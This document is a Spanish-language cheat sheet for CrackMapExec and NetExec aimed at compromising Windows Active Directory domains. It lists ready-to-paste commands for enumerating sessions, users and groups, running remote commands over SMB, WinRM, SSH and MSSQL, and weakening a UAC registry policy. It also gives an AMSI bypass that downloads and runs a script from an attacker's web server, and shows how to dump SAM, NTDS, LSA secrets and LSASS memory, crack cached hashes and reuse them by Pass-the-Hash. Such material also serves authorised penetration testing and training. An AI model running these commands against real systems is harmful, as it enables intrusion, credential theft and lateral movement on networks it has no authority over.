Skip to content

Mapping and Enumeration with SMB

Opciones de enumeración disponibles con una cuenta válida del dominio usando el protocolo SMB. No todas requieren privilegios de administrador.

Links: CrackMapExec Wiki | NetExec Docs | WMI Docs | WQL Docs | WMI Classes


Sesiones y usuarios logueados

Útil para identificar si hay un Domain Admin activo en una máquina comprometida. Generalmente requiere privilegios de administrador.

  • --sessions — Muestra usuarios cuyas credenciales se están usando en la máquina aunque no estén logueados
  • --loggedon-users — Muestra usuarios con sesión activa en la máquina
bash
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' --sessions
crackmapexec smb <IP> -u <user> -p '<password>' --loggedon-users

# NetExec
netexec smb <IP> -u <user> -p '<password>' --sessions
netexec smb <IP> -u <user> -p '<password>' --loggedon-users

# Filtrar por usuario específico (soporta regex)
crackmapexec smb <IP> -u <user> -p '<password>' --loggedon-users --loggedon-users-filter <nombre>
netexec smb <IP> -u <user> -p '<password>' --loggedon-users --loggedon-users-filter <nombre>

Computadoras del dominio

Realiza una query LDAP para listar todas las máquinas unidas al dominio aunque se use el protocolo SMB.

bash
crackmapexec smb <IP> -u <user> -p '<password>' --computers
netexec smb <IP> -u <user> -p '<password>' --computers

Discos

Enumera las unidades de disco disponibles en el servidor.

bash
crackmapexec smb <IP> -u <user> -p '<password>' --disks
netexec smb <IP> -u <user> -p '<password>' --disks

RID Brute Force

Enumera usuarios y objetos del dominio por fuerza bruta de RIDs. Por defecto hasta RID 4000.

bash
# Default (hasta 4000)
crackmapexec smb <IP> -u <user> -p '<password>' --rid-brute
netexec smb <IP> -u <user> -p '<password>' --rid-brute

# RID máximo personalizado
crackmapexec smb <IP> -u <user> -p '<password>' --rid-brute 5000
netexec smb <IP> -u <user> -p '<password>' --rid-brute 5000

Grupos locales y de dominio

bash
# Grupos locales (solo funciona contra DC)
crackmapexec smb <IP> -u <user> -p '<password>' --local-groups
netexec smb <IP> -u <user> -p '<password>' --local-groups

# Grupos de dominio
crackmapexec smb <IP> -u <user> -p '<password>' --groups
netexec smb <IP> -u <user> -p '<password>' --groups

# Miembros de un grupo específico
crackmapexec smb <IP> -u <user> -p '<password>' --groups <NombreGrupo>
netexec smb <IP> -u <user> -p '<password>' --groups <NombreGrupo>

Usuarios del dominio

bash
crackmapexec smb <IP> -u <user> -p '<password>' --users
netexec smb <IP> -u <user> -p '<password>' --users

Política de contraseñas

bash
crackmapexec smb <IP> -u <user> -p '<password>' --pass-pol
netexec smb <IP> -u <user> -p '<password>' --pass-pol

LAPS

Si LAPS está desplegado y se tiene una cuenta con permisos para leer contraseñas LAPS, se puede usar --laps junto con otros targets para ejecutar comandos o hacer dump de SAM.

bash
crackmapexec smb <IP> -u <user> -p '<password>' --laps
netexec smb <IP> -u <user> -p '<password>' --laps

# Si el admin local no se llama "administrator"
crackmapexec smb <IP> -u <user> -p '<password>' --laps <username>
netexec smb <IP> -u <user> -p '<password>' --laps <username>

WMI Queries

WMI usa el puerto TCP 135 más puertos dinámicos. Por defecto CME/NXC consulta el namespace root\cimv2. Generalmente requiere privilegios de administrador.

bash
# Query en el namespace por defecto (root\cimv2)
crackmapexec smb <IP> -u <user> -p '<password>' --wmi "<query WQL>"
netexec smb <IP> -u <user> -p '<password>' --wmi "<query WQL>"

# Query en namespace personalizado
crackmapexec smb <IP> -u <user> -p '<password>' --wmi "<query WQL>" --wmi-namespace "root\WMI"
netexec smb <IP> -u <user> -p '<password>' --wmi "<query WQL>" --wmi-namespace "root\WMI"

Ejemplos de queries WMI útiles

sql
-- Verificar si Sysmon está corriendo
SELECT Caption,ProcessId FROM Win32_Process WHERE Caption LIKE '%sysmon%'

-- Listar todos los procesos
SELECT Caption,ProcessId FROM Win32_Process

-- Listar servicios corriendo
SELECT Name,State FROM Win32_Service WHERE State='Running'

-- Info del sistema operativo
SELECT Caption,Version FROM Win32_OperatingSystem

LDAP and RDP Enumeration

Opciones adicionales de enumeración usando los protocolos LDAP y RDP. LDAP requiere usar el FQDN del DC en lugar de la IP.

Links: CrackMapExec Wiki | NetExec Docs | Unconstrained Delegation - ADSecurity | Microsoft LAPS


Enumeración de usuarios y grupos via LDAP

bash
# Usuarios habilitados del dominio
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' --users
netexec ldap dc01.domain.local -u <user> -p '<password>' --users

# Grupos del dominio
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' --groups
netexec ldap dc01.domain.local -u <user> -p '<password>' --groups

# Ambos a la vez
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' --users --groups
netexec ldap dc01.domain.local -u <user> -p '<password>' --users --groups

Propiedades de cuentas de interés

Cuentas sin requerimiento de contraseña (PASSWD_NOTREQD)

Cuentas que no están sujetas a la política de longitud mínima de contraseña. Pueden tener contraseña corta o vacía.

bash
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' --password-not-required
netexec ldap dc01.domain.local -u <user> -p '<password>' --password-not-required

Cuentas con delegación sin restricción (TRUSTED_FOR_DELEGATION)

Cuentas confiadas para Kerberos Unconstrained Delegation. Pueden impersonar a cualquier usuario que se autentique contra ellas.

bash
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' --trusted-for-delegation
netexec ldap dc01.domain.local -u <user> -p '<password>' --trusted-for-delegation

Cuentas protegidas (adminCount=1)

Objetos protegidos por el proceso SDProp mediante AdminSDHolder. Generalmente cuentas privilegiadas. Objetivo prioritario en ataques internos.

bash
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' --admin-count
netexec ldap dc01.domain.local -u <user> -p '<password>' --admin-count

Domain SID

Algunos ataques de dominio requieren el SID del dominio (Golden Ticket, etc.).

bash
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' --get-sid
netexec ldap dc01.domain.local -u <user> -p '<password>' --get-sid

Group Managed Service Accounts (gMSA)

Las cuentas gMSA tienen contraseñas rotativas gestionadas por AD. Si se compromete una cuenta con PrincipalsAllowedToRetrieveManagedPassword, se puede obtener el hash NTLM de la cuenta gMSA.

Identificar qué cuenta tiene permisos sobre gMSA (requiere WinRM)

bash
crackmapexec winrm dc01.domain.local -u <user> -p '<password>' -X "Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword"

netexec winrm dc01.domain.local -u <user> -p '<password>' -X "Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword"

Obtener el hash NTLM de la cuenta gMSA

Usar la cuenta que tiene el permiso PrincipalsAllowedToRetrieveManagedPassword. Usa LDAPS (puerto 636).

bash
crackmapexec ldap dc01.domain.local -u <user_con_permiso> -p '<password>' --gmsa
netexec ldap dc01.domain.local -u <user_con_permiso> -p '<password>' --gmsa

Usar el hash obtenido de gMSA (Pass-the-Hash)

bash
crackmapexec smb <IP> -u <gmsa_account$> -H <NTHASH> --shares
netexec smb <IP> -u <gmsa_account$> -H <NTHASH> --shares

RDP - Screenshots

Screenshot sin credenciales (NLA deshabilitado)

Si NLA está deshabilitado, se puede capturar el prompt de login para ver qué usuarios tienen sesión activa.

bash
crackmapexec rdp <IP> --nla-screenshot
netexec rdp <IP> --nla-screenshot

Screenshot con credenciales válidas

bash
# Screenshot básico
crackmapexec rdp <IP> -u <user> -p '<password>' --screenshot
netexec rdp <IP> -u <user> -p '<password>' --screenshot

# Con tiempo de espera y resolución personalizados
crackmapexec rdp <IP> -u <user> -p '<password>' --screenshot --screentime 5 --res 1280x720
netexec rdp <IP> -u <user> -p '<password>' --screenshot --screentime 5 --res 1280x720
  • --screentime — Segundos a esperar antes de tomar el screenshot (default: 10)
  • --res — Resolución de pantalla (default: 1024x768)

Ver el screenshot capturado

bash
# Los screenshots se guardan en ~/.cme/screenshots/ o ~/.nxc/screenshots/
eom ~/.cme/screenshots/<archivo>.png

Command Execution

CME/NXC permite ejecutar comandos en sistemas remotos a través de varios protocolos. El comportamiento varía según UAC, el tipo de cuenta y el protocolo usado.

Links: CrackMapExec Wiki | NetExec Docs | AMSI Bypass Collection


UAC y LocalAccountTokenFilterPolicy

Por defecto solo el administrador con RID 500 puede ejecutar comandos remotos aunque otros usuarios sean administradores locales. Las cuentas de dominio en el grupo Administrators no están afectadas por esta restricción.

  • LocalAccountTokenFilterPolicy = 0 (default) — Solo RID 500 puede ejecutar remotamente
  • LocalAccountTokenFilterPolicy = 1 — Todos los admins locales pueden ejecutar remotamente
  • FilterAdministratorToken = 1 — Bloquea incluso al RID 500

Verificar si UAC bloquea la ejecución

Si el output no muestra (Pwn3d!) en una cuenta administradora local, UAC está activo.

Cambiar LocalAccountTokenFilterPolicy (requiere RID 500)

bash
# Habilitar ejecución para todos los admins locales
crackmapexec smb <IP> -u Administrator -p '<password>' --local-auth -x "reg add HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM /V LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"

netexec smb <IP> -u Administrator -p '<password>' --local-auth -x "reg add HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM /V LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"

Ejecución de comandos via SMB

Comandos CMD

bash
crackmapexec smb <IP> -u <user> -p '<password>' -x "<comando>"
netexec smb <IP> -u <user> -p '<password>' -x "<comando>"

Comandos PowerShell

bash
crackmapexec smb <IP> -u <user> -p '<password>' -X "<comando PS>"
netexec smb <IP> -u <user> -p '<password>' -X "<comando PS>"

Métodos de ejecución disponibles

CME prueba los métodos en este orden si uno falla: wmiexecatexecsmbexecmmcexec.

  • wmiexec — Via WMI (escribe archivo en disco)
  • atexec — Vía task scheduler (fileless, puede no funcionar en Windows reciente)
  • smbexec — Crea y ejecuta un servicio (fileless, puede no funcionar en Windows reciente)
  • mmcexec — Similar a wmiexec pero vía MMC
bash
# Forzar un método específico
crackmapexec smb <IP> -u <user> -p '<password>' --exec-method smbexec -x whoami
crackmapexec smb <IP> -u <user> -p '<password>' --exec-method wmiexec -X '$PSVersionTable'
netexec smb <IP> -u <user> -p '<password>' --exec-method smbexec -x whoami
netexec smb <IP> -u <user> -p '<password>' --exec-method wmiexec -X '$PSVersionTable'

AMSI Bypass personalizado

Cuando se usa -X, CME aplica AMSI bypass y ofuscación automáticamente. Si se quiere usar un bypass personalizado:

bash
# Crear script que descargue el bypass desde servidor web
echo "IEX(New-Object Net.WebClient).DownloadString('http://<IP>/bypass.ps1');" > amsibypass.txt

# Iniciar servidor web para servir el bypass
sudo python3 -m http.server 80

# Ejecutar con bypass personalizado
crackmapexec smb <IP> -u <user> -p '<password>' -X '$PSVersionTable' --amsi-bypass amsibypass.txt
netexec smb <IP> -u <user> -p '<password>' -X '$PSVersionTable' --amsi-bypass amsibypass.txt

Nota: El payload no puede superar 8191 caracteres. Por eso se usa un script que descarga el bypass en lugar del bypass directamente.


Ejecución de comandos via WinRM

WinRM no requiere ser administrador local, basta con ser miembro de Remote Management Users o tener permisos explícitos. Puertos: TCP 5985 (HTTP) y TCP 5986 (HTTPS).

bash
# CMD
crackmapexec winrm <IP> -u <user> -p '<password>' -x "<comando>"
netexec winrm <IP> -u <user> -p '<password>' -x "<comando>"

# PowerShell
crackmapexec winrm <IP> -u <user> -p '<password>' -X "<comando PS>"
netexec winrm <IP> -u <user> -p '<password>' -X "<comando PS>"

Opciones adicionales de WinRM

bash
# Puerto personalizado
crackmapexec winrm <IP> --port <puerto> -u <user> -p '<password>' -x whoami

# Con SSL
crackmapexec winrm <IP> --ssl -u <user> -p '<password>' -x whoami

# Ignorar verificación de certificado SSL
crackmapexec winrm <IP> --ssl --ignore-ssl-cert -u <user> -p '<password>' -x whoami

Ejecución de comandos via SSH

Funciona en Linux y Windows. Soporta autenticación por contraseña o clave privada.

bash
# Con contraseña
crackmapexec ssh <IP> -u <user> -p '<password>' -x "<comando>"
netexec ssh <IP> -u <user> -p '<password>' -x "<comando>"

# Con clave privada (formato OPENSSH)
crackmapexec ssh <IP> -u <user> --key-file id_ed25519 -p "" -x whoami
netexec ssh <IP> -u <user> --key-file id_ed25519 -p "" -x whoami

Nota: Si la clave no tiene passphrase, -p debe pasarse vacío con "" o dará error.


Ejecución de comandos via MSSQL

Requiere cuenta DBA. Ver sección MSSQL para más detalles.

bash
crackmapexec mssql <IP> -u <user> -p '<password>' --local-auth -x "<comando>"
netexec mssql <IP> -u <user> -p '<password>' --local-auth -x "<comando>"

Finding Secrets and Using Them

CME/NXC tiene múltiples métodos para extraer credenciales de sistemas Windows comprometidos. Los hashes obtenidos pueden crackearse o usarse directamente con Pass-the-Hash.

Links: CrackMapExec Wiki | NetExec Docs | Lsassy | Nanodump | HandleKatz | Impacket | Hashcat


SAM - Base de datos local

Contiene hashes de todos los usuarios locales. Disponible con SMB y WinRM. Requiere privilegios de administrador.

bash
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' --sam
crackmapexec winrm <IP> -u <user> -p '<password>' --sam

# NetExec
netexec smb <IP> -u <user> -p '<password>' --sam
netexec winrm <IP> -u <user> -p '<password>' --sam

Los hashes se guardan en ~/.cme/logs/ o ~/.nxc/logs/.


NTDS - Base de datos de Active Directory

Vuelca todos los hashes del dominio desde el DC. Requiere privilegios de Domain Admin o permisos de replicación (DCSync).

bash
# Dump completo
crackmapexec smb <IP_DC> -u <user> -p '<password>' --ntds
netexec smb <IP_DC> -u <user> -p '<password>' --ntds

# Solo usuario específico
crackmapexec smb <IP_DC> -u <user> -p '<password>' --ntds --user <nombre>
netexec smb <IP_DC> -u <user> -p '<password>' --ntds --user <nombre>

# Solo cuentas habilitadas
crackmapexec smb <IP_DC> -u <user> -p '<password>' --ntds --enabled
netexec smb <IP_DC> -u <user> -p '<password>' --ntds --enabled

# Con Proxychains para red interna
proxychains4 -q crackmapexec smb <IP_DC> -u <user> -p '<password>' --ntds
proxychains4 -q netexec smb <IP_DC> -u <user> -p '<password>' --ntds

Extraer solo cuentas habilitadas del archivo de log

bash
cat ~/.cme/logs/<archivo>.ntds | grep -iv disabled | cut -d ':' -f1

LSA Secrets y Cached Credentials

Vuelca LSA Secrets, credenciales cacheadas (DCC2), claves DPAPI y credenciales de servicios. Requiere privilegios de administrador.

bash
crackmapexec smb <IP> -u <user> -p '<password>' --lsa
netexec smb <IP> -u <user> -p '<password>' --lsa

Los resultados se guardan en archivos .secrets y .cached en ~/.cme/logs/.

Crackear hashes DCC2 (Domain Cached Credentials)

Los hashes con formato $DCC2$ no sirven para Pass-the-Hash pero pueden crackearse con Hashcat módulo 2100.

bash
# Extraer solo los hashes DCC2 del archivo .cached
cat ~/.cme/logs/<archivo>.cached | cut -d ":" -f 2

# Crackear con Hashcat
hashcat -m 2100 hashes_dcc2.txt /usr/share/wordlists/rockyou.txt

LSASS - Memoria del proceso

El proceso LSASS contiene credenciales en texto claro o hashes (NTLM, AES256/AES128). CME tiene varios módulos para dumpear su memoria.

Módulo lsassy

Extrae credenciales remotamente sin dejar ejecutables en disco. Usa Impacket + pypykatz.

bash
crackmapexec smb <IP> -u <user> -p '<password>' -M lsassy
netexec smb <IP> -u <user> -p '<password>' -M lsassy

Módulo procdump

Usa Microsoft Procdump (Sysinternals) para crear el dump y pypykatz para extraer credenciales.

bash
crackmapexec smb <IP> -u <user> -p '<password>' -M procdump
netexec smb <IP> -u <user> -p '<password>' -M procdump

Módulo handlekatz

Usa handles clonados de LSASS para crear un dump ofuscado.

bash
crackmapexec smb <IP> -u <user> -p '<password>' -M handlekatz
netexec smb <IP> -u <user> -p '<password>' -M handlekatz

Módulo nanodump

Crea un minidump de LSASS. Busca handles existentes al proceso para evitar abrir uno nuevo (más sigiloso).

bash
crackmapexec smb <IP> -u <user> -p '<password>' -M nanodump
netexec smb <IP> -u <user> -p '<password>' -M nanodump

Usar los hashes obtenidos (Pass-the-Hash)

Los hashes NTLM se pueden usar directamente para autenticar sin conocer la contraseña. Soportado en SMB, WinRM, RDP, LDAP y MSSQL.

bash
# SMB
crackmapexec smb <IP> -u <user> -H <NTHASH> --local-auth
netexec smb <IP> -u <user> -H <NTHASH> --local-auth

# WinRM
crackmapexec winrm <IP> -u <user> -H <NTHASH> --local-auth -x whoami
netexec winrm <IP> -u <user> -H <NTHASH> --local-auth -x whoami

# LDAP
crackmapexec ldap dc01.domain.local -u <user> -H <NTHASH> --shares
netexec ldap dc01.domain.local -u <user> -H <NTHASH> --shares

# Con Proxychains
proxychains4 -q crackmapexec smb <IP> -u <user> -H <NTHASH> --local-auth
proxychains4 -q netexec smb <IP> -u <user> -H <NTHASH> --local-auth

Resumen de módulos de extracción

  • --sam — Hashes de cuentas locales
  • --ntds — Hashes de todas las cuentas del dominio (desde DC)
  • --lsa — LSA Secrets + Cached Credentials (DCC2) + claves DPAPI
  • -M lsassy — Credenciales de memoria LSASS (sin escribir en disco)
  • -M procdump — Dump LSASS con Procdump de Sysinternals
  • -M handlekatz — Dump LSASS ofuscado via handles clonados
  • -M nanodump — Minidump de LSASS buscando handles existentes